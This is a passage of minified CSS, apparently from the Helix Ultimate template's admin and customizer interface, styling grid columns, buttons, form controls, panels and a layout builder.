50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.hu-btn{display:inline-block;font-size:.875rem;font-weight:500;line-height:1.2;color:#212529;text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:0;padding:.5rem 1.25rem;position:relative;border-radius:.5rem;overflow:hidden;z-index:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.hu-btn:hover{text-decoration:none;color:#212529}.hu-btn-primary,.hu-btn-primary:hover{color:#fff;transition:color .4s}.hu-btn-primary:after,.hu-btn-primary:before{content:' ';position:absolute;top:0;left:0;right:0;bottom:0;border-radius:.5rem;z-index:-1}.hu-btn-primary:before{background:linear-gradient(180deg,#7497ff -46.87%,#688cfd -7.92%,#567dfa 49.16%,#3e69f6 127.08%);box-shadow:0 2px 4px rgba(97,135,252,.3)}.hu-btn-primary:after{background:linear-gradient(180deg,#9ab3fe -22.41%,#7998fb 49.16%,#416bf6 127.08%);box-shadow:0 4px 8px rgba(97,135,252,.35);opacity:0;transition:opacity .4s}.hu-btn-primary:not([disabled]):not(.disabled):hover:after{opacity:1}.hu-btn-primary.disabled,.hu-btn-primary:disabled{opacity:.6}.hu-btn-secondary{color:rgb(var(--primary));background-color:rgba(var(--primary),.15)}.hu-btn-secondary:hover{color:#fff;background:rgb(var(--primary));box-shadow:0 2px 4px rgba(97,135,252,.3)}.hu-btn-secondary.disabled,.hu-btn-secondary:disabled{opacity:.6}.hu-btn-danger{color:#fff;background-color:#f53d62}.hu-btn-danger:hover{color:#fff;background-color:#f20d3b;box-shadow:0 4px 4px rgba(97,5,24,.15)}.hu-btn-danger.focus,.hu-btn-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.hu-btn-danger.disabled,.hu-btn-danger:disabled{background-color:#dc3545;border-color:#dc3545}.hu-btn-default{color:#fff;background-color:rgba(var(--dark),.4)}.hu-btn-default:hover{color:rgb(var(--dark));background-color:rgba(var(--dark),.3)}.hu-btn-default.disabled,.hu-btn-default:disabled{background-color:rgba(var(--dark),.1)}.hu-btn-reset{color:rgb(var(--dark));background:rgba(var(--dark),.1)!important}.hu-btn-reset:hover{color:rgb(var(--dark));background-color:rgba(var(--dark),.3)}.hu-btn-link{color:rgb(var(--primary));background-color:transparent}.hu-btn-link:hover{color:rgb(var(--primary));text-decoration:underline;background-color:transparent}.hu-btn-link.focus,.hu-btn-link:focus{text-decoration:underline;border-color:transparent;box-shadow:none}.hu-btn-link.disabled,.hu-btn-link:disabled{color:#868e96}.hu-btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.hu-btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.hu-btn-block{display:block;width:100%}input[type=button].hu-btn-block,input[type=reset].hu-btn-block,input[type=submit].hu-btn-block{width:100%}.hu-inline-group{display:inline-block;text-align:center}.hu-switcher-style-tab.hu-align-center{text-align:center}.hu-switcher-style-tab.hu-align-center .hu-action-group{display:inline-block}.hu-switcher-style-tab .hu-action-group{padding:2px;background:#f1f6fc;box-shadow:inset -6px -6px 10px #fff,inset 6px 6px 10px #d3d9e7;border:1px solid #eef2f8;border-radius:5px}.hu-switcher-style-tab .hu-switcher-action{display:inline-block;font-size:.875rem;font-weight:500;line-height:1.2;color:#212529;text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:transparent;border:0;padding:6px 20px;position:relative;border-radius:.5rem;overflow:hidden;z-index:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.hu-switcher-style-tab .hu-switcher-action{color:rgba(var(--dark),.5)}.hu-switcher-style-tab .hu-switcher-action svg{fill:rgba(var(--dark),.5)}.hu-switcher-style-tab-sm .hu-switcher-action{padding:5px 7px;min-width:20px}.hu-switcher-style-tab.hu-switcher-inline{display:inline-block}.hu-switcher-style-tab .hu-switcher-action.active{color:rgb(var(--primary));background:#eff4fb;box-shadow:0 1px 2px rgba(2,11,83,.5);border-radius:5px;outline:0}.hu-switcher-style-tab .hu-switcher-action.active svg{fill:rgb(var(--primary))}.hu-switcher-style-simple .hu-action-group{display:flex;justify-content:space-between;align-items:flex-end;margin-top:10px}.hu-switcher-style-simple .hu-switcher-action-content{display:block;padding:6px 10px;background:rgba(51,102,255,.1);border:1px solid rgba(51,102,255,.14);border-radius:3px;cursor:pointer;transition:border-color .4s,box-shadow .4s,background-color .4s}.hu-switcher-style-simple .hu-switcher-action.active .hu-switcher-action-content,.hu-switcher-style-simple .hu-switcher-action:hover .hu-switcher-action-content{border:1px solid rgb(var(--primary));box-shadow:0 1px 3px rgba(0,119,255,.20531)}.hu-switcher-style-simple .hu-switcher-action.active .hu-switcher-action-content{background:#fff}.hu-switcher-style-simple .hu-switcher-label{font-size:12px;text-align:center;color:rgba(var(--dark),.6);display:block;margin-top:10px;transition:color .4s}.hu-switcher-style-simple .hu-switcher-action.active .hu-switcher-label{font-weight:500;color:rgb(var(--primary))}.hu-switcher-style-simple .hu-switcher-action svg{display:inline-block;vertical-align:middle}.hu-switcher-action:active,.hu-switcher-action:focus{outline:0}.fade{opacity:0;transition:opacity .15s linear}.fade.show{opacity:1}.clearfix::after{display:block;clear:both;content:''}.pull-left{float:left}.pull-right{float:right}.uneditable-input,input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{display:block;width:100%;padding:6px 12px;font-size:12px;line-height:1.5;color:rgba(var(--dark));background-color:#fff;background-clip:padding-box;border:1px solid rgba(121,127,167,.3);box-shadow:0 1px 1px rgba(20,50,80,.1);border-radius:5px;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}select{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right 10px center;background-size:16px 12px;-webkit-appearance:none;-moz-appearance:none;appearance:none}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{outline:0;box-shadow:0 0 0 1px rgb(var(--primary))}select:not([multiple]){height:34px}select:focus::-ms-value{color:#495057;background-color:#fff}.control-group{margin-bottom:15px}.hu-field-separator{margin-bottom:15px;border-bottom:1px solid rgba(var(--dark),.2)}.hu-no-group-wrap{padding:20px 15px 0}.control-group label{display:block;font-size:13px;color:rgba(var(--dark),.7);margin:0 0 5px 0}.hu-field-list>div:first-child{margin-top:0;padding-top:0;border-top:0}.hu-control-help{font-size:12px;line-height:1.4;font-weight:400;color:rgba(var(--dark),.6);margin-bottom:15px;margin-top:5px;border-radius:5px;display:none}.control-group.control-group-checkbox .control-label,.control-group.control-group-checkbox .control-label label{margin-bottom:0;display:flex;align-items:center}.control-group:not(.control-group-checkbox) .control-label{margin-bottom:10px;display:flex;align-items:center}.hu-inline-group{display:flex;align-items:center;margin-bottom:20px}.hu-inline-group .control-label{margin-bottom:0!important}.hu-inline-group .controls{margin-left:auto}.control-group.control-group-checkbox .control-help{padding-top:10px;margin-bottom:5px;width:100%}.hu-help-icon{color:rgba(var(--dark),.6);cursor:pointer;transition:color .4s}.hu-help-icon.active,.hu-help-icon:hover{color:rgb(var(--primary))}.control-group:hover .hu-help-icon{opacity:1}.controls>.minicolors,.hu-options-modal .minicolors{display:block;width:100%}.controls .minicolors-theme-bootstrap .minicolors-input,.hu-options-modal .minicolors-theme-bootstrap .minicolors-input{width:100%;height:32px;padding-left:30px;font-size:12px}.controls .minicolors-theme-bootstrap .minicolors-swatch,.hu-options-modal .minicolors-theme-bootstrap .minicolors-swatch{left:10px;top:8px;width:16px;height:16px;border-radius:100px}.minicolors-theme-bootstrap .minicolors-panel{top:auto!important;left:0!important;margin-top:10px;box-sizing:initial}.reload-preview-iframe img{filter:invert(56%) sepia(0) saturate(0) hue-rotate(208deg) brightness(84%) contrast(88%)}.reload-preview-iframe{background:0 0;outline:0!important}.reload-preview-iframe.spin{animation:spin 2s infinite cubic-bezier(.66,.15,.57,1.08);transform-origin:50% 48%}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.action-reset-drafts,.hu-done-msg,.hu-loading-msg{display:none}.action-reset-drafts{background:0 0;opacity:1;transition:opacity .3s ease;margin-right:0!important;outline:0!important}.action-reset-drafts.hide{opacity:.3}.hu-logo{margin-left:20px;display:inline-flex}.hu-logo .hu-version{align-self:flex-end;font-size:8px;font-weight:700;color:rgb(var(--primary));margin:0 0 2px 5px}#helix-ultimate{width:100%;height:100%;position:relative}#helix-ultimate .hu-container{width:100%;height:100%;position:relative;display:flex;z-index:1}.hu-btn-round{width:32px;height:32px;line-height:1;padding:0;display:inline-flex;align-items:center;justify-content:center;border-radius:50%;background:rgb(255,255,255,.5);transition:background-color .4s}.hu-btn-round svg{fill:#797fa7;transition:fill .4s}.hu-btn-round:hover{background-color:rgba(var(--primary))}.hu-btn-round:hover svg{fill:#fff}.hu-btn-round-sm{width:22px;height:22px}.hu-topbar{display:flex;justify-content:space-between;align-items:stretch;height:40px;position:fixed;top:0;left:0;z-index:2;width:100%;background:#eff4fb;box-shadow:0 1px 2px rgba(2,11,83,.25)}.hu-topbar .topbar-left{display:flex;align-items:center;min-width:400px}.hu-topbar .topbar-middle{display:flex;align-items:center;text-align:center;justify-content:center;min-width:400px;transition:all .3s ease}.hu-topbar .hu-response{margin:0 10px;color:#333}.hu-devices{height:100%;display:flex;align-items:center}.hu-device{outline:0;border:none;background:0 0;cursor:pointer;height:40px;width:50px;display:flex;justify-content:center;align-items:center;box-shadow:none;border-bottom:2px solid transparent}.hu-device svg{fill:#9097b8;transition:.2s ease-in}.hu-device.active svg,.hu-device:hover svg{fill:rgb(var(--dark))}.hu-device.active{border-bottom-color:rgb(var(--dark))}.hu-device:active,.hu-device:focus{box-shadow:none;outline:0}.hu-topbar .topbar-right{display:flex;align-items:center;position:relative;justify-content:flex-end;max-width:450px;border-left:1px solid #f1f1f1;margin-right:20px;min-width:400px}.hu-topbar .topbar-right .hu-btn:not(:last-child){margin-right:12px}.hu-topbar .topbar-middle .hu-display-variants{display:flex}.hu-topbar .topbar-middle .hu-display-variants button.hu-device{border:none;background:0 0;cursor:pointer;height:100%;width:50px;display:flex;justify-content:center;align-items:center}.hu-topbar .topbar-middle .hu-display-variants button.hu-device:focus{outline:0;box-shadow:none}.hu-topbar .topbar-middle .hu-display-variants button.hu-devices.active{background:#deeeff;border-bottom:1px solid rgb(var(--primary))}.hu-topbar .topbar-middle .hu-display-variants button.hu-device.active svg path{fill:rgb(var(--primary))}@media (max-width:576px){.hu-topbar .topbar-middle{display:none}.hu-topbar .topbar-right .helix-topbar-save-text{display:none}.hu-btn svg{margin-right:0!important}.hu-topbar .topbar-right .helix-topbar-show-preview-text{display:none}}@media (max-width:768px){.hu-topbar .topbar-middle{display:none}.hu-topbar .topbar-right{border-left:0}}.hu-edit-panel{background:#eff4fb;width:420px;height:100%;box-shadow:6px 10px 40px rgba(1,3,18,.15),0 3px 6px rgba(0,0,0,.25);border-radius:10px;overflow:hidden;display:none}.hu-edit-panel.layout-panel{width:420px}.hu-edit-panel.menu-panel{width:420px}.hu-edit-panel .hu-groups-container{height:525px;overflow-y:auto}.hu-edit-panel.active-panel{display:block}.hu-panel-header{background-color:rgba(var(--primary),.1);padding:8px 12px;color:rgb(var(--primary));font-size:16px;font-weight:500;display:flex;justify-content:space-between;align-items:center;border-radius:10px 10px 0 0;border-bottom:1px solid rgba(var(--primary),.15)}.hu-panel-close{background:rgb(255,255,255,.5);display:inline-flex;align-items:center;width:25px;height:25px;line-height:25px;text-align:center;justify-content:center;border:none;color:#787fa7;outline:0;cursor:pointer;border-radius:100%}.hu-panel-close svg{display:inline-block}.hu-preview{width:100%;position:relative;text-align:center;z-index:1}.hu-options-wrap{-ms-overflow-style:none;scrollbar-width:none}.hu-options-wrap::-webkit-scrollbar{display:none}#hu-options-panel{position:absolute;top:0;left:0;width:100px;background-color:#eff4fb;border-radius:10px;box-shadow:20px 20px 20px rgba(0,0,0,.15),inset -4px -4px 4px #d3d9e7,inset 4px 4px 4px #fcfdfe;backdrop-filter:blur(4px);text-align:center}.hu-options-core{position:fixed;top:100px;left:40px;z-index:999;display:none}.hu-panel-handle{text-align:center;padding:5px 0;cursor:move}.hu-panel-handle svg{width:16px}.hu-fieldset-header .hu-option-icon{height:16px;display:inline-block;filter:invert(64%) sepia(18%) saturate(397%) hue-rotate(197deg) brightness(88%) contrast(89%)}.hu-fieldset-header .hu-option-title{display:block;margin-top:8px;font-size:12px;font-weight:500;line-height:14px;color:rgba(2,11,83,.7)}.hu-fieldset-header.active{background:rgba(51,102,255,.1)}.hu-fieldset-header.active .hu-option-title{color:rgb(var(--primary))}.hu-fieldset-header.active img{filter:invert(25%) sepia(66%) saturate(2223%) hue-rotate(215deg) brightness(120%) contrast(101%)}.hu-groups-container{-ms-overflow-style:none;scrollbar-width:none}.hu-groups-container::-webkit-scrollbar{display:none}.hu-options-container{position:relative}.hu-fieldset-contents{position:absolute;top:0;z-index:999}.hu-panel-position-left .hu-fieldset-contents{right:20px}.hu-panel-position-right .hu-fieldset-contents{left:120px}.action-hu-exit{display:block;position:absolute;color:#fff;font-size:18px;top:25px;right:20px;width:30px;height:30px;line-height:28px;text-align:center;background:0 0;border:1px solid #fff;border-radius:30px;cursor:pointer}.action-hu-exit:active,.action-hu-exit:focus,.action-hu-exit:hover{color:#fff;background:rgba(0,0,0,.3);border-color:transparent}.hu-options-wrap{position:absolute;width:100%;top:2px;bottom:60px;overflow-y:auto}.hu-footer{position:absolute;bottom:0;left:0;height:50px;width:100%;padding:0 10px}.hu-copyright{margin-top:8px;font-size:12px;line-height:16px;color:#8f95a0;float:left}.hu-action{float:right}#hu-template-preview{width:100%;height:100%;border:0;box-shadow:0 15px #6e6d6d75}.hu-fieldset-header{padding:12px 0;font-size:14px;display:block;cursor:pointer;position:relative;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#hu-options>div:not(:last-child)>.hu-fieldset-header:after{content:' ';position:absolute;height:1px;width:100%;bottom:0;left:0;background:linear-gradient(90deg,#eff4fb 0,#7983a7 55.01%,#eff4fb 101.56%);opacity:.4}#hu-options>div:last-child>.hu-fieldset-header{border-radius:0 0 7px 7px}.hu-group-header-box{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.hu-fieldset-toggle-icon,.hu-group-list{display:none}.active-hu-fieldset .hu-fieldset:not(.active){display:none}.active-hu-fieldset .hu-fieldset.active .hu-fieldset-toggle-icon{position:absolute;top:0;left:0;height:60px;width:60px;border-right:1px solid #e8eef3;z-index:1;display:block;text-align:center}.active-hu-fieldset .hu-fieldset.active .hu-fieldset-toggle-icon i{font-size:20px;color:#c1c6cf;vertical-align:middle}.active-hu-fieldset .hu-fieldset.active .hu-fieldset-toggle-icon:hover i{color:#1d84e9}.hu-fieldset.active .hu-fieldset-header-inner{margin-left:60px}.active-hu-fieldset .hu-group-list{position:absolute;display:block}.hu-field-list{display:none;background:#eff4fb;padding:20px 15px 5px;box-shadow:0 1px 1px rgba(0,0,0,.15) inset}.hu-group-toggle-icon{font-size:18px!important}.hu-group-wrap{background:#fff;border-bottom:1px solid rgba(121,127,167,.3)}.hu-group-header-box{font-size:14px;color:rgba(var(--dark),.6);display:flex;justify-content:space-between;align-items:center;padding:10px 15px;cursor:pointer;transition:color .4s}.hu-group-toggle-icon{color:rgba(var(--dark),.3);transition:transform .4s}.active .hu-group-header-box{color:rgba(var(--dark),.8);transition:color .4s}.active .hu-group-header-box .hu-group-toggle-icon{color:rgba(var(--dark));transform:rotate(90deg)}.hu-group-list .hu-group-wrap:last-child{margin-bottom:0}.active-group .hu-field-list{display:block}.hidden{display:none!important}.master-label-group~.hu-subgroup .control-group{margin-top:0}.hu-style-switcher .control-group-inner{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center}.hu-style-switcher input[type=checkbox]{appearance:none;-webkit-appearance:none;-moz-appearance:none;border:0;width:26px;height:12px;background:rgba(var(--dark),.3);box-shadow:inset -1px -1px 3px rgba(0,0,0,.1);border-radius:100px;position:relative;display:inline-block;vertical-align:middle;box-sizing:border-box;cursor:pointer}.hu-style-switcher input[type=checkbox]:after{content:' ';position:absolute;top:-2px;left:-2px;width:16px;height:16px;background:#73779b;border-radius:100px;transition:left .1s cubic-bezier(.785,.135,.15,.86)}.hu-style-switcher>div.control-label label{margin-bottom:0}.hu-style-switcher input[type=checkbox]:checked{background:rgba(var(--primary),.3)}.hu-style-switcher input[type=checkbox]:checked:after{background:rgb(var(--primary));left:12px}.hu-style-switcher input[type=checkbox]:focus:not(:checked):not(:disabled):after,.hu-style-switcher input[type=checkbox]:hover:not(:checked):not(:disabled):after{left:-2px}.hu-style-switcher input[type=checkbox]:focus:checked:not(:disabled):after,.hu-style-switcher input[type=checkbox]:hover:checked:not(:disabled):after{left:12px}.hu-style-switcher input[type=checkbox]:disabled{opacity:.5}.hu-style-switcher input[type=checkbox]:focus{outline:0}.hu-style-checkbox .control-label{display:flex;align-items:center}.hu-style-checkbox .control-label label{margin:0 0 0 8px}.hu-style-checkbox input[type=checkbox]{width:16px;height:16px;margin-top:3px;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(var(--dark),.3);-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-print-color-adjust:exact;color-adjust:exact;border-radius:4px;box-sizing:border-box;box-shadow:0 1px 1px rgba(0,0,0,.1),inset 0 .5px 1.5px rgba(20,50,80,.38);transition:background-color .15s ease-in-out,background-position .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.hu-style-checkbox input[type=checkbox]:checked{background-color:rgb(var(--primary));background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e");border-color:rgb(var(--primary))}.hu-style-checkbox input[type=checkbox]:active{-webkit-filter:brightness(90%);filter:brightness(90%)}.hu-style-checkbox input[type=checkbox]:focus{border-color:#8bbafe;outline:0;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}.hu-style-checkbox input[type=checkbox]:disabled{pointer-events:none;-webkit-filter:none;filter:none;opacity:.5}.control-group.uneditable{opacity:.5}.layout-panel .control-group-inner{margin:-20px -15px;padding-top:15px}#hu-layout-builder{padding-bottom:50px}#hu-layout-builder .ui-state-highlight{background:rgba(255,255,255,.6);border-radius:5px;margin:10px 10px 20px;border:1px dashed rgba(2,11,83,.2)}.hu-layout-section{padding:0 10px}#hu-layout-builder>.hu-layout-section:not(.ui-sortable-helper){border-bottom:1px solid rgba(var(--dark),.2);padding-bottom:15px;margin-bottom:15px}#hu-layout-builder>.hu-layout-section:last-child{border-bottom-color:transparent}.hu-layout-section-inner{background:#fff;box-shadow:0 2px 4px rgba(20,50,80,.2);border-radius:5px;position:relative}.hu-add-row{position:absolute;bottom:0;left:50%;margin-left:-12px;margin-bottom:-28px;padding:0;width:24px;height:24px;line-height:24px;border-radius:20px;z-index:-1;opacity:0;transition:opacity .4s}.hu-layout-section:not(.ui-sortable-helper):hover .hu-add-row{opacity:1;z-index:9}.hu-add-row:active,.hu-add-row:focus,.hu-add-row:hover{background:#0069d9;color:#fff}.hu-section-settings{padding:10px 10px 0}.hu-section-title{font-size:12px;font-weight:400;color:rgba(var(--dark),.7)}.hu-move-row{display:inline-block;color:#fff;width:18px;height:18px;line-height:18px;text-align:center;font-size:12px;border-radius:2px;cursor:move;text-decoration:none;margin-right:8px}.hu-layout-builder-action svg{fill:rgba(var(--dark),.4);transition:fill .4s}.hu-layout-builder-action:hover svg{fill:rgb(var(--primary))}.hu-row-container{padding:10px}.hu-layout-row{margin-left:-2.5px;margin-right:-2.5px;position:relative}.hu-layout-row .hu-layout-column{padding-left:2.5px;padding-right:2.5px}.hu-layout-column.ui-state-highlight{color:rgba(var(--dark),0,6);background:rgba(51,102,255,.1);border:1px dashed rgba(2,11,83,.2);margin:0!important;border-radius:2px}.hu-column{font-size:12px;color:rgba(var(--dark),.6);font-weight:500;padding:0 5px;height:26px;line-height:26px;background:rgba(51,102,255,.1);border:1px dashed rgba(2,11,83,.2);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;border-radius:2px;cursor:move;position:relative}.hu-layout-column.ui-sortable-helper .hu-column{background:#ebf0ff;color:rgb(var(--primary));border:1px dashed rgba(51,102,255,.15);box-shadow:0 4px 4px rgba(115,119,155,.3)}.hu-layout-column.ui-sortable-helper .hu-column-options{display:none}.hu-column-component{color:rgb(var(--primary))}.hu-column-options{width:20px;height:20px;background-color:#cfdbff;position:absolute;top:2px;right:2px;z-index:8;border-radius:2px;display:flex;align-items:center;justify-content:center;opacity:0;transition:background-color .4s,opacity .4s}.hu-column:hover .hu-column-options{opacity:1}.hu-row-option-list{list-style:none;padding:0;margin:0;height:100%}.hu-row-option-list>li{display:inline-block;margin:0 0 0 5px;padding:0;position:inherit;height:100%}.hu-row-option-list .hu-column-list{display:none;position:absolute;top:30px;left:0;right:0;z-index:9993;padding:20px 20px 10px;background:rgba(255,255,255,.72);box-shadow:0 4px 4px rgba(115,119,155,.3);backdrop-filter:blur(6px);border-radius:10px}.hu-row-option-list .hu-column-layout{color:rgb(var(--dark));display:block;text-decoration:none;margin-bottom:10px;transition:color .4s}.hu-row-option-list .hu-column-layout.active,.hu-row-option-list .hu-column-layout:hover{color:rgb(var(--primary));text-decoration:none}.hu-row-option-list .hu-column-layout-preview{display:flex;align-items:center;justify-content:center;height:46px;background:rgba(2,11,83,.2);border:1px solid transparent;border-radius:7px;transition:background-color .4s,border-color .4s,box-shadow .4s}.hu-row-option-list .hu-column-layout.active .hu-column-layout-preview,.hu-row-option-list .hu-column-layout:hover .hu-column-layout-preview{background:rgba(51,102,255,.1);border:1px solid rgba(51,102,255,.14)}.hu-row-option-list .hu-column-layout:hover .hu-column-layout-preview{box-shadow:0 4px 4px rgba(115,119,155,.3)}.hu-row-option-list .hu-column-layout svg{fill:rgb(var(--dark));transition:fill .4s}.hu-row-option-list .hu-column-layout.active svg,.hu-row-option-list .hu-column-layout:hover svg{fill:rgb(var(--primary))}.hu-row-option-list .hu-column-layout-name{font-size:12px;display:block;margin-top:5px;text-align:center;color:rgba(var(--dark),.7);transition:color .4s}.hu-row-option-list .hu-column-layout.active .hu-column-layout-name,.hu-row-option-list .hu-column-layout:hover .hu-column-layout-name{color:rgb(var(--primary))}.hu-option-group .hu-option-group-list{border-bottom:1px solid #e8eef3}.hu-option-group:not(.active) .hu-option-group-list{display:none}.hu-option-group-list{padding:20px}.hu-option-group-list>.control-group:first-child{border-top:0;padding-top:0;margin-top:0}.hu-option-group{background:#fff}.hu-option-group-title{padding:0 20px;height:40px;line-height:40px;color:#6f737a;font-size:14px;display:block;cursor:pointer;border-bottom:1px solid #e8eef3;position:relative;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;position:relative}.hu-option-group.active .hu-option-group-title{color:#007bff}.hu-option-group-title .fa-angle-right{position:absolute;right:20px;top:50%;transform:translateY(-50%);-webkit-transform:translateY(-50%);transition:transform .3s ease}.hu-option-group.active .hu-option-group-title .fa-angle-right{transform:translateY(-50%) rotate(90deg);-webkit-transform:translateY(-50%) rotate(90deg)}.hu-options-modal .control-group label{margin-bottom:10px}.control-group.control-group-checkbox .control-label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer}.hu-options-modal .control-group.control-group-checkbox .control-label{display:flex;justify-content:space-between;align-items:center;margin:0}.hu-options-modal .control-group-checkbox input[type=checkbox]{margin-left:auto}.hu-group-headers{position:relative}.control-group.group-style-headers{margin-top:0;padding-top:0;border-top:0}.hu-group-headers .hu-field-list>.control-group-checkbox .controls{position:absolute;top:7px;right:15px}.hu-header-list,.hu-offcanvas-list{list-style:none;padding:0;margin:-10px;text-align:center}.hu-header-list>li,.hu-offcanvas-list>li{margin:10px;display:block;float:left}.hu-header-list,.hu-offcanvas-list{list-style:none;padding:0;margin:0;display:flex;flex-wrap:wrap}.hu-header-list>li,.hu-offcanvas-list>li{margin:0;padding:5px;border-radius:1px;display:block;cursor:pointer;position:relative;flex:0 0 33.333%}.hu-header-list>li img,.hu-offcanvas-list>li img{max-width:100%}.hu-header-list>li>span,.hu-offcanvas-list>li>span{display:inline-block;position:relative}.hu-header-list>li>.hu-predefined-headers-title,.hu-offcanvas-list>li>.hu-predefined-offcanvas-title{display:block;margin-top:5px;margin-bottom:5px}.hu-header-list>li>.img-wrap:after,.hu-offcanvas-list>li>.img-wrap:after{content:'';position:absolute;top:0;bottom:0;left:0;right:0;border:1.5px solid #36f;box-shadow:0 2px 4px rgba(20,50,80,.2);border-radius:3px;opacity:0;transition:.3s}.hu-offcanvas-list>li>.img-wrap:after{top:0;bottom:0;left:0;right:0}.hu-header-list>li.active>.img-wrap:after,.hu-header-list>li:hover>.img-wrap:after{opacity:1}.hu-offcanvas-list>li.active>.img-wrap:after,.hu-offcanvas-list>li:hover>.img-wrap:after{opacity:1}.hu-edit-preset{position:absolute;color:#fff;top:0;right:0;background:#fff;width:20px;height:20px;display:flex;justify-content:center;align-items:center;display:none;box-shadow:-2px 1px 0 1px #aeaeae;border-bottom-left-radius:3px;transition:all .3s ease}.hu-preset:hover .hu-edit-preset{display:flex}.hu-presets{margin:-5px}.hu-presets>div{margin:5px}.hu-presets>div{display:block;padding:5px;width:90px;height:70px;float:left;position:relative;cursor:pointer;border-radius:3px}.hu-presets .hu-preset-title{position:absolute;left:0;bottom:0;font-size:12px;line-height:1;background:0 0;padding:5px;color:#fff;text-transform:capitalize}.hu-presets>div.active{-webkit-box-shadow:inset 0 0 0 5px rgba(0,0,0,.4);box-shadow:inset 0 0 0 5px rgba(0,0,0,.4)}.hu-presets>div.active .hu-preset-title{background:rgba(0,0,0,.4);color:#fff;padding:5px 5px 0 0;left:5px;bottom:5px;border-radius:0 3px 0 0}.hu-options-modal .hu-preset-container{padding:20px 15px 0}.hu-options-modal .hu-preset-container label{margin-bottom:0}.hu-webfont-size{position:relative}#header_height-lbl,#logo_height-lbl,.hu-webfont-size>label{display:flex;align-items:center}#header_height-lbl:after,#logo_height-lbl:after,.hu-webfont-size>label:after{content:'';background-image:url(../../images/icon-res.svg);width:16px;height:16px;display:inline-block;margin-left:10px}.hu-webfont-unit{display:none}.hu-webfont-unit.active{display:flex}.hu-webfont-size .hu-webfont-size-input,.hu-webfont-size .hu-webfont-size-input-sm,.hu-webfont-size .hu-webfont-size-input-xs{display:none}.hu-webfont-size .hu-webfont-size-input-sm.active,.hu-webfont-size .hu-webfont-size-input-xs.active,.hu-webfont-size 